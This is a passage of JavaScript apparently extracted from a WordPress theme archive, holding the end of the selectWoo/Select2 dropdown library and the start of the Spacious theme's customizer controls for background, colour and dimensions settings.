$container) { var self = this; decorated.call(this, container, $container); container.on('close', function (params) { self._handleSelectOnClose(params); }); }; SelectOnClose.prototype._handleSelectOnClose = function (_, params) { if (params && params.originalSelect2Event != null) { var event = params.originalSelect2Event; // Don't select an item if the close event was triggered from a select or // unselect event if (event._type === 'select' || event._type === 'unselect') { return; } } var $highlightedResults = this.getHighlightedResults(); // Only select highlighted results if ($highlightedResults.length < 1) { return; } var data = $highlightedResults.data('data'); // Don't re-select already selected resulte if ( (data.element != null && data.element.selected) || (data.element == null && data.selected) ) { return; } this.trigger('select', { data: data }); }; return SelectOnClose; }); S2.define('select2/dropdown/closeOnSelect',[ ], function () { function CloseOnSelect () { } CloseOnSelect.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('select', function (evt) { self._selectTriggered(evt); }); container.on('unselect', function (evt) { self._selectTriggered(evt); }); }; CloseOnSelect.prototype._selectTriggered = function (_, evt) { var originalEvent = evt.originalEvent; // Don't close if the control key is being held if (originalEvent && originalEvent.ctrlKey) { return; } this.trigger('close', { originalEvent: originalEvent, originalSelect2Event: evt }); }; return CloseOnSelect; }); S2.define('select2/i18n/en',[],function () { // English return { errorLoading: function () { return 'The results could not be loaded.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Please delete ' + overChars + ' character'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Please enter ' + remainingChars + ' or more characters'; return message; }, loadingMore: function () { return 'Loading more results…'; }, maximumSelected: function (args) { var message = 'You can only select ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No results found'; }, searching: function () { return 'Searching…'; } }; }); S2.define('select2/defaults',[ 'jquery', 'require', './results', './selection/single', './selection/multiple', './selection/placeholder', './selection/allowClear', './selection/search', './selection/eventRelay', './utils', './translation', './diacritics', './data/select', './data/array', './data/ajax', './data/tags', './data/tokenizer', './data/minimumInputLength', './data/maximumInputLength', './data/maximumSelectionLength', './dropdown', './dropdown/search', './dropdown/hidePlaceholder', './dropdown/infiniteScroll', './dropdown/attachBody', './dropdown/minimumResultsForSearch', './dropdown/selectOnClose', './dropdown/closeOnSelect', './i18n/en' ], function ($, require, ResultsList, SingleSelection, MultipleSelection, Placeholder, AllowClear, SelectionSearch, EventRelay, Utils, Translation, DIACRITICS, SelectData, ArrayData, AjaxData, Tags, Tokenizer, MinimumInputLength, MaximumInputLength, MaximumSelectionLength, Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll, AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect, EnglishTranslation) { function Defaults () { this.reset(); } Defaults.prototype.apply = function (options) { options = $.extend(true, {}, this.defaults, options); if (options.dataAdapter == null) { if (options.ajax != null) { options.dataAdapter = AjaxData; } else if (options.data != null) { options.dataAdapter = ArrayData; } else { options.dataAdapter = SelectData; } if (options.minimumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MinimumInputLength ); } if (options.maximumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumInputLength ); } if (options.maximumSelectionLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumSelectionLength ); } if (options.tags) { options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags); } if (options.tokenSeparators != null || options.tokenizer != null) { options.dataAdapter = Utils.Decorate( options.dataAdapter, Tokenizer ); } if (options.query != null) { var Query = require(options.amdBase + 'compat/query'); options.dataAdapter = Utils.Decorate( options.dataAdapter, Query ); } if (options.initSelection != null) { var InitSelection = require(options.amdBase + 'compat/initSelection'); options.dataAdapter = Utils.Decorate( options.dataAdapter, InitSelection ); } } if (options.resultsAdapter == null) { options.resultsAdapter = ResultsList; if (options.ajax != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, InfiniteScroll ); } if (options.placeholder != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, HidePlaceholder ); } if (options.selectOnClose) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, SelectOnClose ); } } if (options.dropdownAdapter == null) { if (options.multiple) { options.dropdownAdapter = Dropdown; } else { var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch); options.dropdownAdapter = SearchableDropdown; } if (options.minimumResultsForSearch !== 0) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, MinimumResultsForSearch ); } if (options.closeOnSelect) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, CloseOnSelect ); } if ( options.dropdownCssClass != null || options.dropdownCss != null || options.adaptDropdownCssClass != null ) { var DropdownCSS = require(options.amdBase + 'compat/dropdownCss'); options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, DropdownCSS ); } options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, AttachBody ); } if (options.selectionAdapter == null) { if (options.multiple) { options.selectionAdapter = MultipleSelection; } else { options.selectionAdapter = SingleSelection; } // Add the placeholder mixin if a placeholder was specified if (options.placeholder != null) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, Placeholder ); } if (options.allowClear) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, AllowClear ); } if (options.multiple) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, SelectionSearch ); } if ( options.containerCssClass != null || options.containerCss != null || options.adaptContainerCssClass != null ) { var ContainerCSS = require(options.amdBase + 'compat/containerCss'); options.selectionAdapter = Utils.Decorate( options.selectionAdapter, ContainerCSS ); } options.selectionAdapter = Utils.Decorate( options.selectionAdapter, EventRelay ); } if (typeof options.language === 'string') { // Check if the language is specified with a region if (options.language.indexOf('-') > 0) { // Extract the region information if it is included var languageParts = options.language.split('-'); var baseLanguage = languageParts[0]; options.language = [options.language, baseLanguage]; } else { options.language = [options.language]; } } if ($.isArray(options.language)) { var languages = new Translation(); options.language.push('en'); var languageNames = options.language; for (var l = 0; l < languageNames.length; l++) { var name = languageNames[l]; var language = {}; try { // Try to load it with the original name language = Translation.loadPath(name); } catch (e) { try { // If we couldn't load it, check if it wasn't the full path name = this.defaults.amdLanguageBase + name; language = Translation.loadPath(name); } catch (ex) { // The translation could not be loaded at all. Sometimes this is // because of a configuration problem, other times this can be // because of how Select2 helps load all possible translation files. if (options.debug && window.console && console.warn) { console.warn( 'Select2: The language file for "' + name + '" could not be ' + 'automatically loaded. A fallback will be used instead.' ); } continue; } } languages.extend(language); } options.translations = languages; } else { var baseTranslation = Translation.loadPath( this.defaults.amdLanguageBase + 'en' ); var customTranslation = new Translation(options.language); customTranslation.extend(baseTranslation); options.translations = customTranslation; } return options; }; Defaults.prototype.reset = function () { function stripDiacritics (text) { // Used 'uni range + named function' from http://jsperf.com/diacritics/18 function match(a) { return DIACRITICS[a] || a; } return text.replace(/[^\u0000-\u007E]/g, match); } function matcher (params, data) { // Always return the object if there is nothing to compare if ($.trim(params.term) === '') { return data; } // Do a recursive check for options with children if (data.children && data.children.length > 0) { // Clone the data object if there are children // This is required as we modify the object to remove any non-matches var match = $.extend(true, {}, data); // Check each child of the option for (var c = data.children.length - 1; c >= 0; c--) { var child = data.children[c]; var matches = matcher(params, child); // If there wasn't a match, remove the object in the array if (matches == null) { match.children.splice(c, 1); } } // If any children matched, return the new object if (match.children.length > 0) { return match; } // If there were no matching children, check just the plain object return matcher(params, match); } var original = stripDiacritics(data.text).toUpperCase(); var term = stripDiacritics(params.term).toUpperCase(); // Check if the text contains the term if (original.indexOf(term) > -1) { return data; } // If it doesn't contain the term, don't return anything return null; } this.defaults = { amdBase: './', amdLanguageBase: './i18n/', closeOnSelect: true, debug: false, dropdownAutoWidth: false, escapeMarkup: Utils.escapeMarkup, language: EnglishTranslation, matcher: matcher, minimumInputLength: 0, maximumInputLength: 0, maximumSelectionLength: 0, minimumResultsForSearch: 0, selectOnClose: false, sorter: function (data) { return data; }, templateResult: function (result) { return result.text; }, templateSelection: function (selection) { return selection.text; }, theme: 'default', width: 'resolve' }; }; Defaults.prototype.set = function (key, value) { var camelKey = $.camelCase(key); var data = {}; data[camelKey] = value; var convertedData = Utils._convertData(data); $.extend(this.defaults, convertedData); }; var defaults = new Defaults(); return defaults; }); S2.define('select2/options',[ 'require', 'jquery', './defaults', './utils' ], function (require, $, Defaults, Utils) { function Options (options, $element) { this.options = options; if ($element != null) { this.fromElement($element); } this.options = Defaults.apply(this.options); if ($element && $element.is('input')) { var InputCompat = require(this.get('amdBase') + 'compat/inputData'); this.options.dataAdapter = Utils.Decorate( this.options.dataAdapter, InputCompat ); } } Options.prototype.fromElement = function ($e) { var excludedData = ['select2']; if (this.options.multiple == null) { this.options.multiple = $e.prop('multiple'); } if (this.options.disabled == null) { this.options.disabled = $e.prop('disabled'); } if (this.options.language == null) { if ($e.prop('lang')) { this.options.language = $e.prop('lang').toLowerCase(); } else if ($e.closest('[lang]').prop('lang')) { this.options.language = $e.closest('[lang]').prop('lang'); } } if (this.options.dir == null) { if ($e.prop('dir')) { this.options.dir = $e.prop('dir'); } else if ($e.closest('[dir]').prop('dir')) { this.options.dir = $e.closest('[dir]').prop('dir'); } else { this.options.dir = 'ltr'; } } $e.prop('disabled', this.options.disabled); $e.prop('multiple', this.options.multiple); if ($e.data('select2Tags')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-select2-tags` attribute has been changed to ' + 'use the `data-data` and `data-tags="true"` attributes and will be ' + 'removed in future versions of Select2.' ); } $e.data('data', $e.data('select2Tags')); $e.data('tags', true); } if ($e.data('ajaxUrl')) { if (this.options.debug && window.console && console.warn) { console.warn( 'Select2: The `data-ajax-url` attribute has been changed to ' + '`data-ajax--url` and support for the old attribute will be removed' + ' in future versions of Select2.' ); } $e.attr('ajax--url', $e.data('ajaxUrl')); $e.data('ajax--url', $e.data('ajaxUrl')); } var dataset = {}; // Prefer the element's `dataset` attribute if it exists // jQuery 1.x does not correctly handle data attributes with multiple dashes if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) { dataset = $.extend(true, {}, $e[0].dataset, $e.data()); } else { dataset = $e.data(); } var data = $.extend(true, {}, dataset); data = Utils._convertData(data); for (var key in data) { if ($.inArray(key, excludedData) > -1) { continue; } if ($.isPlainObject(this.options[key])) { $.extend(this.options[key], data[key]); } else { this.options[key] = data[key]; } } return this; }; Options.prototype.get = function (key) { return this.options[key]; }; Options.prototype.set = function (key, val) { this.options[key] = val; }; return Options; }); S2.define('select2/core',[ 'jquery', './options', './utils', './keys' ], function ($, Options, Utils, KEYS) { var Select2 = function ($element, options) { if ($element.data('select2') != null) { $element.data('select2').destroy(); } this.$element = $element; this.id = this._generateId($element); options = options || {}; this.options = new Options(options, $element); Select2.__super__.constructor.call(this); // Set up the tabindex var tabindex = $element.attr('tabindex') || 0; $element.data('old-tabindex', tabindex); $element.attr('tabindex', '-1'); // Set up containers and adapters var DataAdapter = this.options.get('dataAdapter'); this.dataAdapter = new DataAdapter($element, this.options); var $container = this.render(); this._placeContainer($container); var SelectionAdapter = this.options.get('selectionAdapter'); this.selection = new SelectionAdapter($element, this.options); this.$selection = this.selection.render(); this.selection.position(this.$selection, $container); var DropdownAdapter = this.options.get('dropdownAdapter'); this.dropdown = new DropdownAdapter($element, this.options); this.$dropdown = this.dropdown.render(); this.dropdown.position(this.$dropdown, $container); var ResultsAdapter = this.options.get('resultsAdapter'); this.results = new ResultsAdapter($element, this.options, this.dataAdapter); this.$results = this.results.render(); this.results.position(this.$results, this.$dropdown); // Bind events var self = this; // Bind the container to all of the adapters this._bindAdapters(); // Register any DOM event handlers this._registerDomEvents(); // Register any internal event handlers this._registerDataEvents(); this._registerSelectionEvents(); this._registerDropdownEvents(); this._registerResultsEvents(); this._registerEvents(); // Set the initial state this.dataAdapter.current(function (initialData) { self.trigger('selection:update', { data: initialData }); }); // Hide the original select $element.addClass('select2-hidden-accessible'); $element.attr('aria-hidden', 'true'); // Synchronize any monitored attributes this._syncAttributes(); $element.data('select2', this); }; Utils.Extend(Select2, Utils.Observable); Select2.prototype._generateId = function ($element) { var id = ''; if ($element.attr('id') != null) { id = $element.attr('id'); } else if ($element.attr('name') != null) { id = $element.attr('name') + '-' + Utils.generateChars(2); } else { id = Utils.generateChars(4); } id = id.replace(/(:|\.|\[|\]|,)/g, ''); id = 'select2-' + id; return id; }; Select2.prototype._placeContainer = function ($container) { $container.insertAfter(this.$element); var width = this._resolveWidth(this.$element, this.options.get('width')); if (width != null) { $container.css('width', width); } }; Select2.prototype._resolveWidth = function ($element, method) { var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i; if (method == 'resolve') { var styleWidth = this._resolveWidth($element, 'style'); if (styleWidth != null) { return styleWidth; } return this._resolveWidth($element, 'element'); } if (method == 'element') { var elementWidth = $element.outerWidth(false); if (elementWidth <= 0) { return 'auto'; } return elementWidth + 'px'; } if (method == 'style') { var style = $element.attr('style'); if (typeof(style) !== 'string') { return null; } var attrs = style.split(';'); for (var i = 0, l = attrs.length; i < l; i = i + 1) { var attr = attrs[i].replace(/\s/g, ''); var matches = attr.match(WIDTH); if (matches !== null && matches.length >= 1) { return matches[1]; } } return null; } return method; }; Select2.prototype._bindAdapters = function () { this.dataAdapter.bind(this, this.$container); this.selection.bind(this, this.$container); this.dropdown.bind(this, this.$container); this.results.bind(this, this.$container); }; Select2.prototype._registerDomEvents = function () { var self = this; this.$element.on('change.select2', function () { self.dataAdapter.current(function (data) { self.trigger('selection:update', { data: data }); }); }); this.$element.on('focus.select2', function (evt) { self.trigger('focus', evt); }); this._syncA = Utils.bind(this._syncAttributes, this); this._syncS = Utils.bind(this._syncSubtree, this); if (this.$element[0].attachEvent) { this.$element[0].attachEvent('onpropertychange', this._syncA); } var observer = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver ; if (observer != null) { this._observer = new observer(function (mutations) { $.each(mutations, self._syncA); $.each(mutations, self._syncS); }); this._observer.observe(this.$element[0], { attributes: true, childList: true, subtree: false }); } else if (this.$element[0].addEventListener) { this.$element[0].addEventListener( 'DOMAttrModified', self._syncA, false ); this.$element[0].addEventListener( 'DOMNodeInserted', self._syncS, false ); this.$element[0].addEventListener( 'DOMNodeRemoved', self._syncS, false ); } }; Select2.prototype._registerDataEvents = function () { var self = this; this.dataAdapter.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerSelectionEvents = function () { var self = this; var nonRelayEvents = ['toggle', 'focus']; this.selection.on('toggle', function () { self.toggleDropdown(); }); this.selection.on('focus', function (params) { self.focus(params); }); this.selection.on('*', function (name, params) { if ($.inArray(name, nonRelayEvents) !== -1) { return; } self.trigger(name, params); }); }; Select2.prototype._registerDropdownEvents = function () { var self = this; this.dropdown.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerResultsEvents = function () { var self = this; this.results.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerEvents = function () { var self = this; this.on('open', function () { self.$container.addClass('select2-container--open'); }); this.on('close', function () { self.$container.removeClass('select2-container--open'); }); this.on('enable', function () { self.$container.removeClass('select2-container--disabled'); }); this.on('disable', function () { self.$container.addClass('select2-container--disabled'); }); this.on('blur', function () { self.$container.removeClass('select2-container--focus'); }); this.on('query', function (params) { if (!self.isOpen()) { self.trigger('open', {}); } this.dataAdapter.query(params, function (data) { self.trigger('results:all', { data: data, query: params }); }); }); this.on('query:append', function (params) { this.dataAdapter.query(params, function (data) { self.trigger('results:append', { data: data, query: params }); }); }); this.on('open', function(){ // Focus on the active element when opening dropdown. // Needs 1 ms delay because of other 1 ms setTimeouts when rendering. setTimeout(function(){ self.focusOnActiveElement(); }, 1); }); $(document).on('keydown', function (evt) { var key = evt.which; if (self.isOpen()) { if (key === KEYS.ESC || (key === KEYS.UP && evt.altKey)) { self.close(); evt.preventDefault(); } else if (key === KEYS.ENTER || key === KEYS.TAB) { self.trigger('results:select', {}); evt.preventDefault(); } else if ((key === KEYS.SPACE && evt.ctrlKey)) { self.trigger('results:toggle', {}); evt.preventDefault(); } else if (key === KEYS.UP) { self.trigger('results:previous', {}); evt.preventDefault(); } else if (key === KEYS.DOWN) { self.trigger('results:next', {}); evt.preventDefault(); } var $searchField = self.$dropdown.find('.select2-search__field'); if (! $searchField.length) { $searchField = self.$container.find('.select2-search__field'); } // Move the focus to the selected element on keyboard navigation. // Required for screen readers to work properly. if (key === KEYS.DOWN || key === KEYS.UP) { self.focusOnActiveElement(); } else { // Focus on the search if user starts typing. $searchField.focus(); // Focus back to active selection when finished typing. // Small delay so typed character can be read by screen reader. setTimeout(function(){ self.focusOnActiveElement(); }, 1000); } } else if (self.hasFocus()) { if (key === KEYS.ENTER || key === KEYS.SPACE || key === KEYS.DOWN) { self.open(); evt.preventDefault(); } } }); }; Select2.prototype.focusOnActiveElement = function () { // Don't mess with the focus on touchscreens because it causes havoc with on-screen keyboards. if (this.isOpen() && ! Utils.isTouchscreen()) { this.$results.find('li.select2-results__option--highlighted').focus(); } }; Select2.prototype._syncAttributes = function () { this.options.set('disabled', this.$element.prop('disabled')); if (this.options.get('disabled')) { if (this.isOpen()) { this.close(); } this.trigger('disable', {}); } else { this.trigger('enable', {}); } }; Select2.prototype._syncSubtree = function (evt, mutations) { var changed = false; var self = this; // Ignore any mutation events raised for elements that aren't options or // optgroups. This handles the case when the select element is destroyed if ( evt && evt.target && ( evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP' ) ) { return; } if (!mutations) { // If mutation events aren't supported, then we can only assume that the // change affected the selections changed = true; } else if (mutations.addedNodes && mutations.addedNodes.length > 0) { for (var n = 0; n < mutations.addedNodes.length; n++) { var node = mutations.addedNodes[n]; if (node.selected) { changed = true; } } } else if (mutations.removedNodes && mutations.removedNodes.length > 0) { changed = true; } // Only re-pull the data if we think there is a change if (changed) { this.dataAdapter.current(function (currentData) { self.trigger('selection:update', { data: currentData }); }); } }; /** * Override the trigger method to automatically trigger pre-events when * there are events that can be prevented. */ Select2.prototype.trigger = function (name, args) { var actualTrigger = Select2.__super__.trigger; var preTriggerMap = { 'open': 'opening', 'close': 'closing', 'select': 'selecting', 'unselect': 'unselecting' }; if (args === undefined) { args = {}; } if (name in preTriggerMap) { var preTriggerName = preTriggerMap[name]; var preTriggerArgs = { prevented: false, name: name, args: args }; actualTrigger.call(this, preTriggerName, preTriggerArgs); if (preTriggerArgs.prevented) { args.prevented = true; return; } } actualTrigger.call(this, name, args); }; Select2.prototype.toggleDropdown = function () { if (this.options.get('disabled')) { return; } if (this.isOpen()) { this.close(); } else { this.open(); } }; Select2.prototype.open = function () { if (this.isOpen()) { return; } this.trigger('query', {}); }; Select2.prototype.close = function () { if (!this.isOpen()) { return; } this.trigger('close', {}); }; Select2.prototype.isOpen = function () { return this.$container.hasClass('select2-container--open'); }; Select2.prototype.hasFocus = function () { return this.$container.hasClass('select2-container--focus'); }; Select2.prototype.focus = function (data) { // No need to re-trigger focus events if we are already focused if (this.hasFocus()) { return; } this.$container.addClass('select2-container--focus'); this.trigger('focus', {}); }; Select2.prototype.enable = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("enable")` method has been deprecated and will' + ' be removed in later Select2 versions. Use $element.prop("disabled")' + ' instead.' ); } if (args == null || args.length === 0) { args = [true]; } var disabled = !args[0]; this.$element.prop('disabled', disabled); }; Select2.prototype.data = function () { if (this.options.get('debug') && arguments.length > 0 && window.console && console.warn) { console.warn( 'Select2: Data can no longer be set using `select2("data")`. You ' + 'should consider setting the value instead using `$element.val()`.' ); } var data = []; this.dataAdapter.current(function (currentData) { data = currentData; }); return data; }; Select2.prototype.val = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("val")` method has been deprecated and will be' + ' removed in later Select2 versions. Use $element.val() instead.' ); } if (args == null || args.length === 0) { return this.$element.val(); } var newVal = args[0]; if ($.isArray(newVal)) { newVal = $.map(newVal, function (obj) { return obj.toString(); }); } this.$element.val(newVal).trigger('change'); }; Select2.prototype.destroy = function () { this.$container.remove(); if (this.$element[0].detachEvent) { this.$element[0].detachEvent('onpropertychange', this._syncA); } if (this._observer != null) { this._observer.disconnect(); this._observer = null; } else if (this.$element[0].removeEventListener) { this.$element[0] .removeEventListener('DOMAttrModified', this._syncA, false); this.$element[0] .removeEventListener('DOMNodeInserted', this._syncS, false); this.$element[0] .removeEventListener('DOMNodeRemoved', this._syncS, false); } this._syncA = null; this._syncS = null; this.$element.off('.select2'); this.$element.attr('tabindex', this.$element.data('old-tabindex')); this.$element.removeClass('select2-hidden-accessible'); this.$element.attr('aria-hidden', 'false'); this.$element.removeData('select2'); this.dataAdapter.destroy(); this.selection.destroy(); this.dropdown.destroy(); this.results.destroy(); this.dataAdapter = null; this.selection = null; this.dropdown = null; this.results = null; }; Select2.prototype.render = function () { var $container = $( '<span class="select2 select2-container">' + '<span class="selection"></span>' + '<span class="dropdown-wrapper" aria-hidden="true"></span>' + '</span>' ); $container.attr('dir', this.options.get('dir')); this.$container = $container; this.$container.addClass('select2-container--' + this.options.get('theme')); $container.data('element', this.$element); return $container; }; return Select2; }); S2.define('jquery-mousewheel',[ 'jquery' ], function ($) { // Used to shim jQuery.mousewheel for non-full builds. return $; }); S2.define('jquery.select2',[ 'jquery', 'jquery-mousewheel', './select2/core', './select2/defaults' ], function ($, _, Select2, Defaults) { if ($.fn.selectWoo == null) { // All methods that should return the element var thisMethods = ['open', 'close', 'destroy']; $.fn.selectWoo = function (options) { options = options || {}; if (typeof options === 'object') { this.each(function () { var instanceOptions = $.extend(true, {}, options); var instance = new Select2($(this), instanceOptions); }); return this; } else if (typeof options === 'string') { var ret; var args = Array.prototype.slice.call(arguments, 1); this.each(function () { var instance = $(this).data('select2'); if (instance == null && window.console && console.error) { console.error( 'The select2(\'' + options + '\') method was called on an ' + 'element that is not using Select2.' ); } ret = instance[options].apply(instance, args); }); // Check if we should be returning `this` if ($.inArray(options, thisMethods) > -1) { return this; } return ret; } else { throw new Error('Invalid arguments for Select2: ' + options); } }; } if ($.fn.select2 != null && $.fn.select2.defaults != null) { $.fn.selectWoo.defaults = $.fn.select2.defaults; } if ($.fn.selectWoo.defaults == null) { $.fn.selectWoo.defaults = Defaults; } // Also register selectWoo under select2 if select2 is not already present. $.fn.select2 = $.fn.select2 || $.fn.selectWoo; return Select2; }); // Return the AMD loader configuration so it can be used outside of this file return { define: S2.define, require: S2.require }; }()); // Autoload the jQuery bindings // We know that all of the modules exist above this, so we're safe var select2 = S2.require('jquery.select2'); // Hold the AMD module references on the jQuery function that was just loaded // This allows Select2 to use the internal loader outside of this file, such // as in the language files. jQuery.fn.select2.amd = S2; jQuery.fn.selectWoo.amd = S2; // Return the Select2 instance for anyone who is importing it. return select2; })); core/custom-controls/assets/js/customize-controls.js000066600000165734152367043330017040 0ustar00/** * Background image control JS to handle the background customize option. * * File `background.js`. * * @package Spacious */ ( function ( $ ) { $( window ).on( 'load', function () { $( 'html' ).addClass( 'colorpicker-ready' ); } ); wp.customize.controlConstructor['spacious-background'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Init background control. control.initSpaciousBackgroundControl(); }, initSpaciousBackgroundControl : function () { var control = this, value = control.setting._value, colorpicker = control.container.find( '.spacious-color-picker-alpha' ); // Hide unnecessary controls by default and show only when background image is set. if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) { control.container.find( '.customize-control-content > .background-repeat' ).hide(); control.container.find( '.customize-control-content > .background-position' ).hide(); control.container.find( '.customize-control-content > .background-size' ).hide(); control.container.find( '.customize-control-content > .background-attachment' ).hide(); } // Background color setting. colorpicker.wpColorPicker( { change : function () { if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) { setTimeout( function () { control.saveValue( 'background-color', colorpicker.val() ); }, 100 ); } }, clear : function ( event ) { var element = jQuery( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0]; if ( element ) { control.saveValue( 'background-color', '' ); } } } ); // Background image setting. control.container.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) { var image = wp.media( { multiple : false } ).open().on( 'select', function () { // This will return the selected image from the Media Uploader, the result is an object. var uploadedImage = image.state().get( 'selection' ).first(), previewImage = uploadedImage.toJSON().sizes.full.url, imageUrl, imageID, imageWidth, imageHeight, preview, removeButton; if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) { previewImage = uploadedImage.toJSON().sizes.medium.url; } else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) { previewImage = uploadedImage.toJSON().sizes.thumbnail.url; } imageUrl = uploadedImage.toJSON().sizes.full.url; imageID = uploadedImage.toJSON().id; imageWidth = uploadedImage.toJSON().width; imageHeight = uploadedImage.toJSON().height; // Show extra controls if the value has an image. if ( '' !== imageUrl ) { control.container.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show(); } control.saveValue( 'background-image', imageUrl ); preview = control.container.find( '.placeholder, .thumbnail' ); removeButton = control.container.find( '.background-image-upload-remove-button' ); if ( preview.length ) { preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' ); } if ( removeButton.length ) { removeButton.show(); } } ); e.preventDefault(); } ); control.container.on( 'click', '.background-image-upload-remove-button', function ( e ) { var preview, removeButton; e.preventDefault(); control.saveValue( 'background-image', '' ); preview = control.container.find( '.placeholder, .thumbnail' ); removeButton = control.container.find( '.background-image-upload-remove-button' ); // Hide unnecessary controls. control.container.find( '.customize-control-content > .background-repeat' ).hide(); control.container.find( '.customize-control-content > .background-position' ).hide(); control.container.find( '.customize-control-content > .background-size' ).hide(); control.container.find( '.customize-control-content > .background-attachment' ).hide(); if ( preview.length ) { preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder ); } if ( removeButton.length ) { removeButton.hide(); } } ); // Background repeat setting. control.container.on( 'change', '.background-repeat select', function () { control.saveValue( 'background-repeat', jQuery( this ).val() ); } ); // Background position setting. control.container.on( 'change', '.background-position select', function () { control.saveValue( 'background-position', jQuery( this ).val() ); } ); // Background size setting. control.container.on( 'change', '.background-size select', function () { control.saveValue( 'background-size', jQuery( this ).val() ); } ); // Background attachment setting. control.container.on( 'change', '.background-attachment select', function () { control.saveValue( 'background-attachment', jQuery( this ).val() ); } ); }, /** * Saves the value. */ saveValue : function ( property, value ) { var control = this, input = jQuery( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ), val = control.setting._value; val[property] = value; jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); } } ); } )( jQuery ); /** * Radio buttonset control JS to handle the toggle of radio buttonsets. * * File `buttonset.js`. * * @package Spacious */ wp.customize.controlConstructor[ 'spacious-buttonset' ] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Change the value. this.container.on( 'click', 'input', function () { control.setting.set( jQuery( this ).val() ); } ); } } ); /** * Color picker control JS to handle color picker rendering within customize control. * * File `color.js`. * * @package Spacious */ ( function ( $ ) { $( window ).on( 'load', function () { $( 'html' ).addClass( 'colorpicker-ready' ); } ); wp.customize.controlConstructor[ 'spacious-color' ] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; this.container.find( '.spacious-color-picker-alpha' ).wpColorPicker( { change : function ( event, ui ) { var color = ui.color.toString(); if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) { control.setting.set( color ); } } } ); } } ); } )( jQuery ); /** * Dimensions JS to handle the background customize option. * * File `background.js`. * * @package Spacious */ wp.customize.controlConstructor['spacious-dimensions'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Top Dimension setting. control.container.on( 'change keyup paste input', '.top input', function () { control.updateTop(); } ); // Right Dimension setting. control.container.on( 'change keyup paste input', '.right input', function () { control.updateRight(); } ); // Left Dimension setting. control.container.on( 'change keyup paste input', '.left input', function () { control.updateLeft(); } ); // Bottom Dimension setting. control.container.on( 'change keyup paste input', '.bottom input', function () { control.updateBottom(); } ); }, updateTop : function () { var control = this, val = control.setting._value, input = control.container.find( '.dimensions-hidden-value' ), newValue = { 'top' : {} }; control.container.find( '.top .input-wrapper' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); newValue['top'] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateRight : function () { var control = this, val = control.setting._value, input = control.container.find( '.dimensions-hidden-value' ), newValue = { 'right' : {} }; control.container.find( '.right .input-wrapper' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); newValue['right'] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateBottom: function () { var control = this, val = control.setting._value, input = control.container.find( '.dimensions-hidden-value' ), newValue = { 'bottom' : {} }; control.container.find( '.bottom .input-wrapper' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); newValue['bottom'] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateLeft : function () { var control = this, val = control.setting._value, input = control.container.find( '.dimensions-hidden-value' ), newValue = { 'left' : {} }; control.container.find( '.left .input-wrapper' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); newValue['left'] = controlValue; } ); // Extend/Update the `val` object to include 